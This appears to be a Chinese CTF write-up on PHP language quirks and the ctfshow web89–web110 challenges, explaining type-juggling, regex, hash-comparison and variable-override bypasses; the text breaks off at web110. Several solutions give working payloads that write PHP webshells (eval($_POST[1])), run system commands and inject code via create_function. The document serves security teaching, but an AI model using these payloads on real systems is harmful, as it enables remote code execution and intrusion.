PHP特性

preg_match()函数漏洞

preg_match()函数无法处理数组,即数组绕过正则表达式

官方文档介绍:

1
2
返回值
返回完整匹配次数(可能是0),或者如果发生错误返回FALSE

也就是说如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}


payload:num[]=1

intval函数的使用

官方文档中的内容

1
2
3
4
5
6
7
intval ( mixed $var [, int $base = 10 ] ) : int

Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

当然也可以用科学计数法。
所以

1
2
3
4
5
6
intval('4476.0')===4476    小数点  
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格

正则表达式修饰符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

路径问题

下面方式在highlight_file中均等效于flag.php

inux下面表示当前目录是 ./

1
2
3
/var/www/html/flag.php              绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议

php中hash比较缺陷

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

1
a[]=1&b[]=2
1
2
3
4
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

md5弱比较

使用了强制类型转换后不再接收数组

1
2
3
4
5
6
7
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
//md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708

md5强碰撞

1
2
3
4
5
6
7
8
9
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

md5强碰撞收集

sha1强碰撞

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

php弱类型比较

1
2
3
4
5
6
7
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表

PHP的and

1
2
3
4
5
6
<?php
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false

is_numeric()函数

is_numeric函数在php5的环境中,是可以识别十六进制的,也就是说,如果传v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。

parse_str函数

parse_str函数:

1
2
3
4
5
parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

</body>
</html>
//结果
Array ( [name] => Bill [age] => 60 )

还有一个例子

1
2
3
4
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456

ereg %00正则截断

ereg正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测

php类

反射类

反射类的具体使用方法可参考php官网文档
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

异常类

Exception

异常(Exception)处理用于在指定的错误发生时改变脚本的正常流程,是在 PHP5 中的增加的一个重要特性。异常处理是一种可扩展、易维护的错误处理统一机制,并提供了一种新的面向对象的错误处理方式。

http://c.biancheng.net/view/6253.html

PHP 中提供了内置的异常处理类——Exception,该类中常用的成员函数如下所示:

  • getMessage():返回异常的消息内容;
  • getCode():以数字形式返回异常代码;
  • getFile():返回发生异常的文件名;
  • getLine():返回发生错误的代码行号;
  • getTrace():返回 backtrace() 数组;
  • getTraceAsString():返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息;
  • __toString():产生异常的字符串信息,它可以重载。注意,该函数最前部是两个下划线。

FilesystemIterator类

在这里插入图片描述

php快速获取文件夹中文件数量

1
2
3
4
5
<?php
$iterator = new FilesystemIterator(__DIR__, FilesystemIterator::SKIP_DOTS);
//计算迭代器中元素的个数
printf("There were %d Files", iterator_count($iterator));
?>

php FilesystemIterator 使用 seek 改变指针位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$iterator = new FilesystemIterator("./testdir");
//php FilesystemIterator 使用 seek 改变指针位置
$iterator->seek(3);

//使用valid()验证是否存在
if ($iterator->valid()) {

//获取当前指针的第一个文件名
echo $iterator->getFilename();
} else {
echo 'No file at position 3';
}

//要遍历当前指针以后的所有文件必须使用while valid()和next()方法,如果使用foreach将会遍历出所有的数据
while($iterator->valid()) {
var_dump($iterator->getFilename()) . "\n";
//必须要用next方法改变指针位置
$iterator->next();
}
?>

php FilesystemIterator 使用 vaild next 方法遍历元素

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

//php FilesystemIterator 使用 valid next 方法遍历元素

$iterator = new FilesystemIterator("./testdir");

while($iterator->valid()) {
var_dump($iterator->getFilename()) . "\n";
//必须要用next方法改变指针位置
$iterator->next();
}

?>

php超全局变量$GLOBALS的使用

1
2
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举个例子

1
2
3
4
$a=123;
$b=456;
var_dump($GLOBALS);
123

返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。

1
2
3
4
["a"]=>
int(123)
["b"]=>
int(456)

还有一个问题php变量前面加&符号是什么意思

1
2
3
4
5
$foo = 321;  
$bar = &$foo;
$bar = 123;
print $foo;
//123

为什么会这样呢?

改动新的变量将影响到原始变量,这种赋值操作更加快速

注意:只有命名变量才可以传地址赋值

就是说,改变了$bar的值,也就改变了$foo的值

php伪协议绕过is_file+highlight_file对于php伪协议的使用

1
2
is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

可以直接用php伪协议绕过

trim函数的绕过+is_numeric绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

做个简单的小测试

1
2
3
4
5
6
for ($i=0; $i <128 ; $i++) { 
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}

除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric

1
2
3
4
5
6
for ($i=0; $i <=128 ; $i++) { 
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}

发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。

其实可以直接爆破

PHP里的符号转化

PHP默认把. 空格 [ +转化成_但是有一个转换规则

对变量不符合规则的变量名里面只转换一次,类似于双写绕过,如果两个不合法只转换一个,后面的不再转换,其中空格 + . [ = _

parse_str()和extract()

img

extract() 函数:将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:

1
2
3
4
5
6
7
<?php
a = "Original";
my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract(my_array);
echo "\$a = a; $b = b; \$c = c";
//a = Cat; b = Dog; $c = Horse
?>

gettext拓展的使用

**GetText:一个字符串处理的函数或者说功能,进行字符替换等等. **

在开启该拓展后 _() 等效于 gettext()

1
2
3
4
5
6
<?php
echo gettext("phpinfo");
结果 phpinfo

echo _("phpinfo");
结果 phpinfo
1
2
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量

关于正则贪婪的回溯

利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
这个参数在php 5.2.0版本之后可用。

默认的backtarck_limit是100000(10万).
现在要弄清这个问题的原因, 关键就是什么是”回溯”.
这个正则, 使用非贪婪模式, 非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再溯, 进行匹配.

举个例子:

1
2
源字符串: aaab正则: .*?
匹配过程开始的时候, “.*?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.*?”, 这个时候, “.*?”匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯.

最后,还是要说一下

1、在PHP 5.2以后, 提供了:int preg_last_error ( void )Returns the error code of the last PCRE regex execution.
我们应该经常检查这个函数的返回值, 当不为零的时候说明上一个正则函数出错, 特别的对于文章的例子, 出错返回(PREG_BACKTRACK_LIMIT_ERROR)
2、非贪婪模式导致太多回溯, 必然会有一些性能问题, 适当的该写下正则, 是可以避免这个问题的. 尤其在做大数据量的文本处理的时候, 如果正则设计不慎, 很容易导致深度嵌套, 另外考虑到性能, 还是建议能用字符串处理尽量使用字符串处理代替.

关于php的函数调用

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

有时候冒号会被禁用

这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。

且call_user_func是以数组方式调用函数的

具体使用方法如下

1
2
call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

create_function()

函数定义

在PHP中使用create_function()创建匿名函数,seay大牛的解释很清楚,引用一下:

  1. 获取参数, 函数体;
  2. 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串;
  3. eval;
  4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
  5. 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++;
  6. 用新的函数名替换__lambda_func;
  7. 返回新的函数。

其实我们只需要关注前三点即可,自己写个例子讲一下吧:

1
2
3
4
5
<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>

这个匿名函数相当于这样的创建函数过程:

1
2
3
function niming($a){
echo $id.'is'.$a;
}

q所指向的字符串的值是匿名函数的函数体

正常情况下,我们会输入http://localhost/create_function.php?id=1 此类的url来进行访问,但是看了看上面的创建函数的过程,能不能做一些手脚呢?ctfshow

函数漏洞利用

1
http://localhost/create_function.php?id=1;}phpinfo();/*访问之:

phpinfo()函数执行了!我们来分析一下执行过程,payload访问后相当于如下:

1
2
3
function niming($a){
echo 1;}phpinfo();/*.'is'.$a;
}

这就解释通了吧,我们用;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,而我们之前说过,create_function函数是调用了eval的,所以phpinfo()函数得以执行。

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}


payload:num[]=1

考点:数组绕过正则表达式

不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

关于intval函数的应用

如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

1
2
?num=4476a
?num=4476.0

也可以使用不同的进制让他等于4476就可以了

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
1
payload:%0aphp

%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。
经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
1
2
ban掉了字母,但是可以用八进制绕过,小数也可以
?num=010574

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

不能以0开头了,这时候可以试试小数,intval只识别整数部分

1
?num=4476.0001

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
1
?num= 010574

web96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

linux下面表示当前目录是 ./

1
2
3
4
php://filter/read=convert.base64-encode/resource=flag.php
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议

web97

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

考点是md5弱比较造数组就可以了

1
payload:a[]=1&b[]=2

web98

1
2
3
4
5
6
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

考三元操作符理解

根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。
中间两行意义不大。
最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

1
payload get:1=1 post:HTTP_FLAG=flag

image-20210928005604014

web99

1
2
3
4
5
6
7
allow = array();
for (i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

考察点:php弱类型比较

1
2
3
4
5
6
7
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表
因为新加进去的随机数字每次都包含1,1存在的几率是最大的。
所以直接写 n=1.php post:content=<?php eval($_POST[1]);?>多试几次即可

image-20210928011001168

image-20210928010930760

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

//?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

第一部分

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
1
2
3
4
5
6
<?php
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false

所以只要保证v1是数字就可以使得v0为true,从而进入if中。

第二部分

反射类的具体使用方法可参考php官网文档
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');

1
payload:?v1=1&v2=echo new ReflectionClass&v3=;

当然我们做着个题的目的不仅是为了怎么过,更希望大家能对反射类中的方法有所了解。
举个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

这里就不一一列举,大家可以自行尝试。

100非预期解1

直接输出ctfshow;构造出 var_dump(ctfshow);
payload:v1=1&v2=var_dump($ctfshow)/&v3=/;
?v1=1&v2=var_dump($ctfshow)?><?&v3=?>;

100非预期解2

1
2
3
4
因为过滤的字符比较少,所以可以直接执行命令。
方法不固定,在此聚两个例子
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

过滤了很多

1
?v1=1&v2=echo new ReflectionClass&v3=;

因为flag在ctfshow类里直接用反射类输出flag即可

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

is_numeric函数在php5的环境中,是可以识别十六进制的,也就是说,如果传v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。

1
2
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
下返回true

题目经过substr($v2,2)得到0x后面的十六进制3c3f706870206576616c28245f504f53545b315d293b3f3e,因为hex2bin如果参数带0x会报错。
paylaod
首先将我们的一句话编码成16进制

1
2
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

完成木马的写入。
但是本题无法使用,应该是因为环境为php7,因为在php7下

1
2
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
下返回false

所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

1
2
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

关键就是什么代码base64编码后再转为十六进制为全数字,网上找了一个

1
2
3
4
5
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

同时因为经过substr处理,所以v2前面还要补00
payload:

1
2
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

写入成功后访问1.php即可得到flag

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

首先分析一下4个变量,进if的条件呢需要is_numeric($v2) and is_numeric($v3); $s = substr($v2,2);$str = call_user_func($v1,$s);这个就和上一题是一样的

所以捏payload就可以了

1
2
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web104

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

还是考察hash比较缺陷的问题

但是这个题有缺陷并没有检查v1和v2的值所以可以传入相同的值,也可以数组绕过

1
2
3
4
5
6
7
v1=a;v2=a
v1[]=1;v2[]=1
如果是强类型的话可以用以下值
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

考察点:php变量覆盖

题目一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。假设$flag=flag{test123}
通过die($error)输出
payload:a=flag post: error=a
进行的操作为

1
2
$a=$flag;
$error=$a;

此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为

suces=flag;

此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)

通过echo $flag
一个矛盾体,没有机会在不改变值的情况下输出,大家可以自行尝试进行验证。

web106

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

sha1强碰撞

1
2
3
4
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

image-20211003181250891

web107

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}

parse_str函数:

1
2
3
4
5
parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>

<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>

</body>
</html>
//结果
Array ( [name] => Bill [age] => 60 )

还有一个例子

1
2
3
4
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456

再回头看看题目

1
2
3
4
$v1 = $_POST['v1'];   
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){

经过了parse_str($v1,$v2); 然后满足$v2['flag']==md5($v3进if

payload:

1
2
v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

考察点:ereg %00正则截断
函数介绍

1
2
strrev()  字符串反转
intval() 获取变量的整数值

payload:c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

web109

1
2
3
4
5
6
7
8
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

考察点:php 异常类
先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串
所以我们只要让new后面有个类不报错以后,就可以随意构造了。我们随便找个php中的内置类并且可以直接echo输出的就可以了。
举两个例子

1
2
Exception
ReflectionClass
1
2
3
4
payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
v1=Exception&v2=system('tac f*')

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
